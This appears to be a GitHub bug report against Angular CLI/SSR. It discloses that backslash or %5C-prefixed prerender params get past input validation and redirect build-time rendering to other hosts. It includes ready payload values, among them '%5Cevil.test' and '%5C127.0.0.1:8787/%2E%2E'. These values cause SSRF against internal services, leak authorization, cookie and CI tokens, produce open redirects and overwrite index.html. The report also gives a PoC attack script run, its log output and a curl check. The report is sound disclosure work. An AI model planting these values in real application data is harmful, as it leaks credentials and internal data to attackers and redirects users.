Repository navigation
Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects #34569
Description
Command
other
Is this a regression?
- Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was
No response
Description
This is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a getPrerenderParams() value that starts with \ still leaves the application's origin twice: while ng build renders the page, and in the redirect it ships.
handlePrerenderParamsReplacement only checks the type (ng-routes.ts#L553-L570):
if (typeof value !== 'string') {
throw new Error(/* ... */);
}
return parameterName === '**' ? `/${value}` : value;So \cdn-login.test becomes the route /\cdn-login.test. As a path it looks harmless, but for http: the URL parser reads \ as /, so the route is //cdn-login.test, another host. Two places use the route as a URL:
renderPagebuilds the render request withnew Request(new URL(url, serverURL))(render-worker.ts#L54), so the page renders with that host as its origin, and every relativeHttpClientcall made during the render goes there.- The resolved
redirectTogoes into the generated redirect page (prerender.ts#L258), or intoLocationwithoutputMode: 'server'.
Those values are application data, the docs read them from a service:
const ids = await dataService.getIds();
return ids.map((id) => ({ id }));So whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw \, no ..) and these still pass, because RouteTree.getPathSegments percent-decodes each segment afterwards (route-tree.ts#L212-L213). One value is enough:
| Value | Entered through | Result |
|---|---|---|
\cdn-login.test |
workspace slug, public signup | /%5Ccdn-login.test redirects to cdn-login.test |
%5C127.0.0.2/docs/getting-started |
CMS page path | the build reads an internal-only service and publishes the response |
%5C127.0.0.1:8787/%2E%2E |
CMS page path | the platform credentials go to 127.0.0.1:8787, and the site's index.html is replaced |
%5Cevil.test/docs/getting-started |
CMS page path | the build sends a request to evil.test |
ng build exits 0 with no warning for all of them.
1. Open redirect. Each workspace gets a vanity URL that lands on its home page:
{ path: ':workspace', children: [
{ path: '', pathMatch: 'full', redirectTo: 'home' },
{ path: 'home', component: WorkspacePage },
]},With the slug \cdn-login.test the build writes this redirect page:
<meta http-equiv="refresh" content="0; url=/\cdn-login.test/home" />In Chrome, http://status.statuslane.test/%5Ccdn-login.test ends on http://cdn-login.test/home. The link has no @, no second scheme and no //. escapeHtml leaves the target as it is, since there's nothing in it to escape.
2. Reading an internal service. Docs pages load their body in a resolver, over a relative URL:
inject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });With the page path %5C127.0.0.2/docs/getting-started the page renders at http://127.0.0.2, so the build fetches http://127.0.0.2/api/content/docs/getting-started, a service only the CI network can reach. Its response, database URL included, is written into the published page and into ng-state. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with The content returned was empty.
3. Credentials to another host. The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:
if (!req.url.startsWith('/api/internal/')) {
return next(req);
}
return next(
req.clone({
setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },
}),
);With %5C127.0.0.1:8787/%2E%2E the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at 127.0.0.1:8787. %2E%2E consumes the host segment when posix.join computes the output path (prerender.ts#L462), so the page is written over the site's own index.html and dist has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.
4. allowedHosts isn't consulted. The app sets security.allowedHosts: ["localhost"], none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path %5Cevil.test/docs/getting-started the page renders at http://evil.test, and its request only fails because .test doesn't resolve:
evil.test/docs/getting-started/index.html
origin http://evil.test
content "unavailable (Http failure response for http://evil.test/api/c)"
A name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. allowedHosts only decides which Host headers the running server answers. A filter on the raw value doesn't help either, since %5C is decoded later.
Minimal Reproduction
Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc
There the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.
npm ci
npm run attack
npm run browserbuild exit 0, prerendered 12, warnings 0
allowedHosts ["localhost"] (angular.json)
P1 signup "\cdn-login.test" accepted landed
P2 cms "%5C127.0.0.2/docs/getting-started" accepted landed
P3 cms "%5C127.0.0.1:8787/%2E%2E" accepted landed
P4 cms "%5Cevil.test/docs/getting-started" accepted landed
[attacker] GET /api/internal/metrics Host=127.0.0.1:8787 UA=node (not in allowedHosts)
[internal] GET /api/content/docs/getting-started Host=127.0.0.2 UA=node (not in allowedHosts)
Without the lab, one route and one value:
// app.routes.ts
export const routes: Routes = [
{
path: ':tenant',
children: [
{ path: '', redirectTo: 'home', pathMatch: 'full' },
{ path: 'home', component: Page },
],
},
{ path: '**', component: Page },
];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: ':tenant',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [{ tenant: '\\evil.test' }],
},
{ path: '**', renderMode: RenderMode.Client },
];ng build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/<app>/server/server.mjs &
curl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i locationlocation: /\evil.test/home
With --output-mode=static the same value writes a redirect page with the same target.
Exception or Error
Your Environment
Angular CLI 22.2.5
@angular/build 22.2.5
@angular/ssr 22.2.5
@angular/core 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
Chrome 156
Anything else relevant?
No response
Activity